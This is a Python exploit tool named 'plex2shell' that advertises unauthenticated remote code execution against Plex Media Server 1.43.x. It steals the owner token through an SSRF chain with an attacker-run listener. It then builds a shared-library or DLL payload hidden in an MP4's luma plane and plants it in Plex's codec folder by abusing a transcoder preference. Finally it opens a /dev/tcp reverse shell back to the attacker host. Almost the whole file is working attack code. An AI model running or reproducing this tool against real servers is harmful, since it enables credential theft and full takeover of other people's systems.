"""
plex2shell
Copyright (C) 2026 code-zm
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
"""
import argparse
import http.server
import os
import re
import shutil
import socket
import socketserver
import subprocess
import sys
import tempfile
import threading
import time
import types
import urllib.error
import urllib.parse
import urllib.request
from contextlib import redirect_stdout
import select
import termios
import tty
_DIR = os.path.dirname(os.path.abspath(__file__))
# ============================================================================== UI
C = {"reset": "\033[0m", "bold": "\033[1m", "cyan": "\033[38;5;44m",
"green": "\033[38;5;42m", "red": "\033[38;5;203m", "grey": "\033[38;5;244m",
"white": "\033[38;5;253m"}
SPIN = "⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏"
FULL, EMPTY, BARW = "█", "░", 32
STAGES = [("Connecting to target", 12), ("Capturing owner token", 40),
("Verifying access", 52), ("Building payload", 72),
("Delivering payload", 88), ("Opening session", 99)]
try:
TTY = open("/dev/tty", "w")
except Exception:
TTY = sys.stderr
def out(s):
TTY.write(s)
TTY.flush()
def bar(pct, frame, label, color="cyan", ok=False):
fill = int(BARW * pct / 100.0)
b = C[color] + FULL * fill + C["grey"] + EMPTY * (BARW - fill) + C["reset"]
tick = (C["green"] + "✔" if ok else C[color] + SPIN[frame % len(SPIN)]) + C["reset"]
out("\r\033[K %s %s %s%3d%%%s %s%s%s" % (
tick, b, C["bold"] + C["white"], int(round(pct)), C["reset"], C["white"], label, C["reset"]))
def commit(line):
out("\r\033[K" + line + "\n")
def redact(t):
return (t[:10] + "…" + t[-4:]) if t and len(t) >= 14 else "captured"
class Step:
"""Run a blocking fn in a thread while the bar eases toward this stage's ceiling."""
def __init__(self, idx):
self.idx, self.ceil = idx, STAGES[idx][1]
self.base = STAGES[idx - 1][1] if idx else 0
def run(self, fn):
res = {}
done = threading.Event()
def work():
try:
res["v"] = fn()
except Exception as e:
res["e"] = e
finally:
done.set()
threading.Thread(target=work, daemon=True).start()
pct, f = self.base, 0
while not done.is_set():
pct += (self.ceil - pct) * 0.06
bar(pct, f, STAGES[self.idx][0])
f += 1
time.sleep(0.08)
if "e" in res:
bar(self.ceil, f, STAGES[self.idx][0], "red")
commit(" %s✗%s %s" % (C["red"], C["reset"], STAGES[self.idx][0]))
raise res["e"]
return res.get("v")
# ============================================================================== platforms
PLATFORMS = {
"linux-native": {
"os": "linux",
"appsupport": "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server",
"codec_suffix": "linux-x86_64", "ext": "so",
"transcoder_path": "/usr/lib/plexmediaserver/Plex Transcoder",
},
"linux-docker": {
"os": "linux",
"appsupport": "/config/Library/Application Support/Plex Media Server",
"codec_suffix": "linux-x86_64", "ext": "so",
"transcoder_path": "/usr/lib/plexmediaserver/Plex Transcoder",
},
"windows": {
"os": "windows",
"appsupport": None,
"codec_suffix": "windows-x86_64", "ext": "dll",
"transcoder_path": "C:/Program Files/Plex/Plex Media Server/Plex Transcoder.exe",
},
}
def resolve_platform(target_os_key):
if target_os_key not in PLATFORMS:
raise SystemExit("[-] unknown --target-os %r; choose one of: %s"
% (target_os_key, ", ".join(PLATFORMS)))
return PLATFORMS[target_os_key]
# ============================================================================== payloads
def _read_payload(name):
return open(os.path.join(_DIR, name)).read()
def build_payload_linux(workdir, inner_cmd):
cc = shutil.which("gcc")
if not cc:
raise RuntimeError("need 'gcc' on the attacker host for a Linux target payload")
src = os.path.join(workdir, "pay.c")
so = os.path.join(workdir, "pay.so")
with open(src, "w") as f:
f.write(_read_payload("payload_linux.c").replace("__CMD__", inner_cmd))
subprocess.check_call([cc, "-shared", "-fPIC", "-nostdlib", "-O2", "-o", so, src],
stderr=subprocess.STDOUT)
data = open(so, "rb").read()
if data[:4] != b"\x7fELF":
raise RuntimeError("payload is not an ELF")
return so, data
def build_payload_windows(workdir, attacker_ip, lport):
cc = shutil.which("x86_64-w64-mingw32-gcc")
if not cc:
raise RuntimeError("need 'x86_64-w64-mingw32-gcc' (apt: gcc-mingw-w64-x86-64)")
src = os.path.join(workdir, "pay.c")
dll = os.path.join(workdir, "pay.dll")
with open(src, "w") as f:
f.write(_read_payload("payload_windows.c")
.replace("__IP__", attacker_ip).replace("__PORT__", str(lport)))
subprocess.check_call([cc, "-shared", "-O2", "-o", dll, src,
"-lws2_32", "-lkernel32", "-Wl,--subsystem,windows"],
stderr=subprocess.STDOUT)
data = open(dll, "rb").read()
if data[:2] != b"MZ":
raise RuntimeError("payload is not a PE DLL")
return dll, data
def build_payload(target_os, workdir, attacker_ip, lport, inner_cmd=None):
if target_os == "linux":
return build_payload_linux(workdir, inner_cmd)
return build_payload_windows(workdir, attacker_ip, lport)
def build_carrier(workdir, payload_bytes, w, h):
"""Encode payload_bytes into frame-0 luma of a lossless (qp=0) carrier + silent audio track."""
if not shutil.which("ffmpeg"):
raise RuntimeError("need 'ffmpeg' on the attacker host to build the carrier")
ysz = w * h
if len(payload_bytes) > ysz:
raise RuntimeError("payload (%d B) larger than luma plane %dx%d=%d; raise --geometry"
% (len(payload_bytes), w, h, ysz))
y = payload_bytes + b"\x80" * (ysz - len(payload_bytes))
uv = b"\x80" * (ysz // 2)
frame = y + uv
raw = os.path.join(workdir, "raw.yuv")
open(raw, "wb").write(frame * 3)
carrier = os.path.join(workdir, "carrier.mp4")
subprocess.check_call([
"ffmpeg", "-loglevel", "error", "-y",
"-f", "rawvideo", "-pix_fmt", "yuv420p", "-s", "%dx%d" % (w, h), "-r", "5", "-i", raw,
"-f", "lavfi", "-i", "anullsrc=r=48000:cl=stereo", "-shortest",
"-c:v", "libx264", "-qp", "0", "-pix_fmt", "yuv420p", "-g", "1",
"-c:a", "aac", "-b:a", "64k",
"-movflags", "+faststart", carrier,
], stderr=subprocess.STDOUT)
dec = os.path.join(workdir, "dec.yuv")
subprocess.check_call([
"ffmpeg", "-loglevel", "error", "-y", "-i", carrier, "-map", "0:v:0",
"-pix_fmt", "yuv420p", "-f", "rawvideo", dec,
], stderr=subprocess.STDOUT)
d = open(dec, "rb").read()
if d[:len(payload_bytes)] != payload_bytes:
raise RuntimeError("carrier is NOT bit-exact (encoder altered the plane); adjust geometry")
return carrier
def revshell_cmd(attacker_ip, lport):
return ("/usr/bin/setsid /usr/bin/bash -c 'exec 0<>/dev/tcp/%s/%d 1>&0 2>&0; "
"exec /usr/bin/script -qc /bin/bash /dev/null' &" % (attacker_ip, lport))
# ============================================================================== attacker HTTP: media host
CALLBACKS = []
ITEM_XML = (''
'')
def make_handler(carrier_path, item_xml_bytes):
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def _send(self, body, ctype):
self.send_response(200)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
p = urllib.parse.urlparse(self.path).path
if p.startswith("/cb"):
CALLBACKS.append(self.path)
self._send(b"ok", "text/plain")
elif p.rstrip("/").endswith("item.xml") or p == "/item.xml":
self._send(item_xml_bytes, "text/xml")
elif p.endswith("carrier.mp4"):
data = open(carrier_path, "rb").read()
rng = self.headers.get("Range")
if rng:
m = re.match(r"bytes=(\d+)-(\d*)", rng)
if m:
start = int(m.group(1))
end = int(m.group(2)) if m.group(2) else len(data) - 1
end = min(end, len(data) - 1)
chunk = data[start:end + 1]
self.send_response(206)
self.send_header("Content-Type", "video/mp4")
self.send_header("Content-Length", str(len(chunk)))
self.send_header("Content-Range",
"bytes %d-%d/%d" % (start, end, len(data)))
self.send_header("Accept-Ranges", "bytes")
self.end_headers()
self.wfile.write(chunk)
else:
self._send(data, "video/mp4")
else:
self.send_response(200)
self.send_header("Content-Type", "video/mp4")
self.send_header("Content-Length", str(len(data)))
self.send_header("Accept-Ranges", "bytes")
self.end_headers()
self.wfile.write(data)
else:
self._send(b"", "text/plain")
return H
class Listener(threading.Thread):
def __init__(self, ip, port, carrier_path, item_xml_bytes):
super().__init__(daemon=True)
socketserver.TCPServer.allow_reuse_address = True
self.httpd = socketserver.ThreadingTCPServer((ip, port), make_handler(carrier_path, item_xml_bytes))
def run(self):
self.httpd.serve_forever()
def stop(self):
try:
self.httpd.shutdown()
except Exception:
pass
# ============================================================================== attacker HTTP: token catcher
_TOKEN_RE = re.compile(r"^local-[0-9a-f-]{8,}", re.I)
class TokenCatcher(threading.Thread):
def __init__(self, bind_ip, port):
super().__init__(daemon=True)
self.port = port
self.hits = []
self.token = None
self.got = threading.Event()
outer = self
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def _serve(self):
tok = self.headers.get("X-Plex-Token", "")
outer.hits.append((self.command, self.path, dict(self.headers)))
print(" [listener] %s %s X-Plex-Token=%s"
% (self.command, self.path, tok or "(none)"))
if tok and _TOKEN_RE.match(tok) and not outer.token:
outer.token = tok
outer.got.set()
self.send_response(200)
self.send_header("Content-Length", "2")
self.end_headers()
self.wfile.write(b"ok")
do_GET = _serve
do_POST = _serve
socketserver.TCPServer.allow_reuse_address = True
self.httpd = socketserver.TCPServer((bind_ip, port), H)
def run(self):
self.httpd.serve_forever()
def stop(self):
try:
self.httpd.shutdown()
except Exception:
pass
# ============================================================================== Plex HTTP helpers
def hget(base, path, params, token, timeout=25, method="GET"):
qs = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)
url = "%s%s?%s" % (base, path, qs)
req = urllib.request.Request(url, method=method)
if token:
req.add_header("X-Plex-Token", token)
try:
r = urllib.request.urlopen(req, timeout=timeout)
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
except Exception as e:
return -1, str(e).encode()
def preq(base, path, headers, timeout=15):
try:
r = urllib.request.Request("http://%s%s" % (base, path), headers=headers)
return urllib.request.urlopen(r, timeout=timeout).status
except urllib.error.HTTPError as e:
return e.code
except Exception as e:
return "ERR:%s" % (str(e)[:70])
def discover_setid(base, token, transcoder_path):
if not transcoder_path:
return None
for route in ("/system/:/resources/x", "/:/plugins/com.plexapp.system/resources/x"):
st, body = hget(base, route, {"resource_name": transcoder_path}, token)
if st == 200 and body:
m = re.search(rb'([0-9a-f]{7}-[0-9a-f]{24,26})', body)
if m:
return m.group(1).decode()
return None
def transcode_params(item_url, session, w, h):
return [
("path", item_url), ("protocol", "hls"),
("directPlay", "0"), ("directStream", "0"),
("videoResolution", "%dx%d" % (w, h)),
("videoQuality", "100"), ("maxVideoBitrate", "200000"),
("mediaBufferSize", "102400"), ("session", session),
("X-Plex-Client-Identifier", "vfyclient01"),
("X-Plex-Product", "Plex Web"), ("X-Plex-Platform", "Chrome"),
("X-Plex-Platform-Version", "120.0"), ("X-Plex-Device", "Linux"),
("X-Plex-Device-Name", "poc"), ("X-Plex-Client-Profile-Name", "Chrome"),
("X-Plex-Session-Identifier", session),
]
def run_transcode(base, token, item_url, session, w, h):
p = transcode_params(item_url, session, w, h)
st1, _ = hget(base, "/video/:/transcode/universal/decision", p, token)
st2, _ = hget(base, "/video/:/transcode/universal/start.m3u8", p, token)
st3, _ = hget(base, "/video/:/transcode/universal/session/%s/base/index.m3u8" % session,
[("session", session)], token)
return st1, st2, st3
# ============================================================================== stage 1+2: bare-WAN token theft
def steal_owner_token(args):
base = args.target
listener = TokenCatcher("0.0.0.0", args.token_port)
listener.start()
time.sleep(0.4)
cid = "poc_%d" % (int(time.time()) % 100000)
marker = "TKN_%d" % (int(time.time()) % 100000)
hdr = {
"X-Plex-Client-Identifier": cid,
"X-Plex-Platform": "poc", "X-Plex-Platform-Version": "1",
"X-Plex-Product": "poc", "X-Plex-Version": "1",
"X-Plex-Device": "poc", "X-Plex-Device-Name": "poc", "X-Plex-Model": "poc",
"X-Plex-Token": args.junk_token,
}
common = "deviceClass=pc&protocolCapabilities=playback&protocolVersion=1"
ident = ("com.plexapp.agents.thetvdb/function/GetResultFromNetwork"
"?url=http://%s:%d/%s#" % (args.attacker_host, args.token_port, marker))
protocol = ("http://127.0.0.1:%d/system/agents/z/searchOne?mediaType=1&lang=en&identifier=%s"
% (args.plex_port, urllib.parse.quote(ident, safe="")))
proto_q = urllib.parse.quote(protocol, safe="")
reg_path = "/player/proxy/poll?%s&X-Plex-Client-Identifier=%s" % (common, cid)
threading.Thread(target=lambda: preq(base, reg_path, hdr, timeout=12), daemon=True).start()
time.sleep(1.5)
sub = ("/player/timeline/subscribe?%s&protocol=%s&port=%d&commandID=1"
"&X-Plex-Target-Client-Identifier=%s" % (common, proto_q, args.token_port, cid))
preq(base, sub, hdr)
time.sleep(0.5)
unsub = ("/player/timeline/unsubscribe?%s&X-Plex-Target-Client-Identifier=%s" % (common, cid))
preq(base, unsub, hdr)
listener.got.wait(timeout=args.wait)
token = listener.token
listener.stop()
return token
# ============================================================================== Windows cmd protocol helpers
def _win_wait_ready(conn):
conn.settimeout(30)
buf = b""
try:
while b"READY" not in buf:
d = conn.recv(4096)
if not d:
break
buf += d
except socket.timeout:
pass
def _win_send_cmd(conn, cmd):
conn.sendall((cmd + "\r\n").encode())
conn.settimeout(30)
buf = b""
try:
while b"__CMDEND__" not in buf:
d = conn.recv(4096)
if not d:
break
buf += d
except socket.timeout:
pass
return buf.decode("utf-8", "replace").replace("\r", "").split("__CMDEND__")[0]
# ============================================================================== interactive PTY bridge
def drain(conn, t=0.5):
conn.setblocking(False)
end = time.time() + t
while time.time() < end:
try:
d = conn.recv(4096)
if not d:
break
end = time.time() + 0.15
except (BlockingIOError, OSError):
time.sleep(0.03)
def _win_interactive(conn, session_label, hostlabel):
_win_wait_ready(conn)
out(C["grey"] + " command mode — type 'exit' to quit\n\n" + C["reset"])
prompt = C["bold"] + session_label + " @ " + hostlabel + C["reset"] + "> "
try:
while True:
try:
line = input(prompt)
except EOFError:
break
if not line.strip():
continue
if line.strip().lower() == "exit":
conn.sendall(b"exit\r\n")
break
output = _win_send_cmd(conn, line)
for ln in output.splitlines():
print(ln)
except KeyboardInterrupt:
conn.sendall(b"exit\r\n")
out("\n" + C["grey"] + " session closed\n" + C["reset"])
def interactive(conn, hostlabel, so_path, target_os, session_label):
commit(" %s✔%s %sOpening session%s" % (C["green"], C["reset"], C["white"], C["reset"]))
out("\n " + C["bold"] + C["green"] + "✔ session opened" + C["reset"] +
C["white"] + " — " + session_label + " @ " + hostlabel + C["reset"] + "\n")
if target_os != "linux":
return _win_interactive(conn, session_label, hostlabel)
out(C["grey"] + " interactive shell — press Ctrl-] to detach\n\n" + C["reset"])
try:
import fcntl
import struct
rows, cols = struct.unpack("HHHH",
fcntl.ioctl(0, termios.TIOCGWINSZ, struct.pack("HHHH", 0, 0, 0, 0)))[:2]
if not rows or not cols:
rows, cols = 40, 120
except Exception:
rows, cols = 40, 120
setup = ("rm -f '%s' 2>/dev/null; cd /; stty rows %d cols %d 2>/dev/null; "
"export TERM=xterm-256color; PS1='plex@plex:\\w\\$ '\n"
% (so_path, rows, cols))
conn.sendall(setup.encode())
time.sleep(0.5)
drain(conn, 0.6)
conn.sendall(b"\n")
time.sleep(0.2)
old = termios.tcgetattr(0)
try:
tty.setraw(0)
conn.setblocking(False)
while True:
r, _, _ = select.select([0, conn], [], [])
if 0 in r:
d = os.read(0, 4096)
if not d or b"\x1d" in d:
break
conn.sendall(d)
if conn in r:
try:
d = conn.recv(4096)
except BlockingIOError:
continue
if not d:
break
os.write(1, d)
finally:
termios.tcsetattr(0, termios.TCSADRAIN, old)
out("\n" + C["grey"] + " session detached\n" + C["reset"])
def run_exec(conn, command, so_path, target_os, session_label):
out("\n " + C["green"] + "✔ session opened (" + session_label + ")" + C["reset"] + "\n\n")
if target_os == "linux":
time.sleep(1)
conn.setblocking(False)
try:
while True:
conn.recv(4096)
except Exception:
pass
conn.setblocking(True)
conn.sendall(b"stty -echo 2>/dev/null\n")
time.sleep(0.5)
line = "rm -f '%s' 2>/dev/null; %s; echo __END__$?\n" % (so_path, command)
conn.sendall(line.encode())
conn.settimeout(15)
buf = b""
try:
while b"__END__" not in buf:
d = conn.recv(4096)
if not d:
break
buf += d
except socket.timeout:
pass
for ln in buf.decode("utf-8", "replace").replace("\r", "").splitlines():
if ln.startswith("__END__"):
break
if "echo __END__" in ln:
continue
print(" " + ln)
else:
_win_wait_ready(conn)
output = _win_send_cmd(conn, command)
conn.sendall(b"exit\r\n")
for ln in output.splitlines():
print(" " + ln)
# ============================================================================== orchestration
def main():
ap = argparse.ArgumentParser(
description="Plex Media Server 1.43.x — bare-WAN unauth RCE (CVSS 10.0)")
ap.add_argument("--target", required=True, help="host:port (e.g. 10.0.0.5:32400)")
ap.add_argument("--attacker-ip", required=True, help="attacker IP reachable from the target")
ap.add_argument("--target-os", choices=list(PLATFORMS.keys()), default="linux-native",
help="linux-native (default), linux-docker, or windows")
ap.add_argument("--token", default=None,
help="skip the SSRF chain and use this owner token directly")
ap.add_argument("--exec", dest="exec_cmd", default=None,
help="run one command and exit instead of opening a shell")
args = ap.parse_args()
if ":" not in args.target:
sys.exit("[-] --target must be host:port")
plat = resolve_platform(args.target_os)
target_os = plat["os"]
appsupport = plat["appsupport"]
codec_suffix = plat["codec_suffix"]
ext = plat["ext"]
transcoder_path = plat["transcoder_path"]
session_label = "uid=1000(plex)" if target_os == "linux" else "the Plex service account"
attacker_host = "127.0.0.1.%s.sslip.io" % args.attacker_ip.replace(".", "-")
token_port, carrier_port, lport = 8952, 8933, 9001
w, h = 640, 360
base = "http://" + args.target
logpath = os.path.join(tempfile.gettempdir(), ".plexshell_%d.log" % os.getpid())
log = open(logpath, "w")
needed = ["ffmpeg", "gcc" if target_os == "linux" else "x86_64-w64-mingw32-gcc"]
for t in needed:
if not shutil.which(t):
sys.exit("[-] need '%s' on this host for the payload build" % t)
out("\n " + C["bold"] + C["white"] + "Plex Media Server 1.43.x — remote shell" + C["reset"] + "\n")
out(" " + C["grey"] + ("authorized security test — target-os=%s" % args.target_os)
+ C["reset"] + "\n\n")
lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
lsock.bind(("0.0.0.0", lport))
lsock.listen(1)
conn_box = {}
got = threading.Event()
def accept():
try:
c, a = lsock.accept()
conn_box["c"], conn_box["a"] = c, a
finally:
got.set()
threading.Thread(target=accept, daemon=True).start()
token = args.token
try:
with redirect_stdout(log):
Step(0).run(lambda: hget(base, "/identity", {}, None)[0])
commit(" %s✔%s %sConnecting to target%s"
% (C["green"], C["reset"], C["white"], C["reset"]))
if token:
commit(" %s✔%s %sCapturing owner token%s %s(pre-captured: %s)%s" % (
C["green"], C["reset"], C["white"], C["reset"], C["grey"], redact(token), C["reset"]))
else:
sargs = types.SimpleNamespace(
target=args.target, attacker_host=attacker_host,
attacker_ip=args.attacker_ip, token_port=token_port,
plex_port=32400, junk_token="TOTALLY_INVALID_JUNK",
wait=150)
token = Step(1).run(lambda: steal_owner_token(sargs))
if not token:
raise RuntimeError("owner token not captured")
commit(" %s✔%s %sCapturing owner token%s %s(%s)%s" % (
C["green"], C["reset"], C["white"], C["reset"], C["grey"], redact(token), C["reset"]))
prefs_st, prefs_body = Step(2).run(lambda: hget(base, "/:/prefs", {}, token))
if prefs_st != 200:
raise RuntimeError("prefs returned %d; token may not be owner-tier" % prefs_st)
if target_os == "windows" and not appsupport:
m = re.search(rb'id="LocalAppDataPath"[^>]*value="([^"]*)"', prefs_body)
if m:
lap = m.group(1).decode().replace("\\", "/")
if len(lap) >= 2 and lap[1] == ":":
lap = lap[2:]
appsupport = lap + "/Plex Media Server"
else:
appsupport = "/Users/Administrator/AppData/Local/Plex Media Server"
commit(" %s✔%s %sVerifying access%s %s(owner)%s" % (
C["green"], C["reset"], C["white"], C["reset"], C["grey"], C["reset"]))
setid = discover_setid(base, token, transcoder_path)
if not setid:
raise RuntimeError("could not recover codec set-id; pass --setid")
setdir = "%s/Codecs/%s-%s" % (appsupport, setid, codec_suffix)
if target_os == "windows":
so_name = "hevc_decoder.dll"
else:
so_name = "zz%d.%s" % (int(time.time()) % 100000, ext)
so_path = "%s/%s" % (setdir, so_name)
revsh = revshell_cmd(args.attacker_ip, lport) if target_os == "linux" else None
def build():
work = tempfile.mkdtemp(prefix="poc_shell_")
_, payload = build_payload(target_os, work,
args.attacker_ip, lport, inner_cmd=revsh)
carrier = build_carrier(work, payload, w, h)
return work, carrier
work, carrier = Step(3).run(build)
commit(" %s✔%s %sBuilding payload%s %s(%s, %d B carrier)%s" % (
C["green"], C["reset"], C["white"], C["reset"], C["grey"],
args.target_os, os.path.getsize(carrier), C["reset"]))
item_xml = ITEM_XML.format(w=w, h=h, ip=args.attacker_ip, port=carrier_port,
size=os.path.getsize(carrier)).encode()
listener = Listener("0.0.0.0", carrier_port, carrier, item_xml)
listener.start()
time.sleep(0.3)
item_url = "http://%s:%d/item.xml" % (args.attacker_ip, carrier_port)
def deliver():
hget(base, "/:/prefs", {"TranscoderH264Options": "dump-yuv=%s:qp=0" % so_path},
token, method="PUT")
run_transcode(base, token, item_url, "SHW%d" % (int(time.time()) % 100000), w, h)
time.sleep(10)
hget(base, "/:/prefs", {"TranscoderH264Options": ""}, token, method="PUT")
Step(4).run(deliver)
commit(" %s✔%s %sDelivering payload%s"
% (C["green"], C["reset"], C["white"], C["reset"]))
def detonate():
run_transcode(base, token, item_url, "SHD%d" % (int(time.time()) % 100000), w, h)
got.wait(timeout=45)
return conn_box.get("c")
conn = Step(5).run(detonate)
listener.stop()
if not conn:
bar(90, 0, "", "red")
out("\n\n " + C["red"] + "✗ no session — payload did not call back (see log)\n" + C["reset"])
out(C["grey"] + " log: %s\n" % logpath + C["reset"])
return 1
hostlabel = args.target.split(":")[0]
if args.exec_cmd:
run_exec(conn, args.exec_cmd, so_path, target_os, session_label)
else:
interactive(conn, hostlabel, so_path, target_os, session_label)
return 0
finally:
try:
if token:
hget(base, "/:/prefs", {"TranscoderH264Options": ""}, token, method="PUT")
except Exception:
pass
try:
lsock.close()
except Exception:
pass
log.close()
if __name__ == "__main__":
sys.exit(main())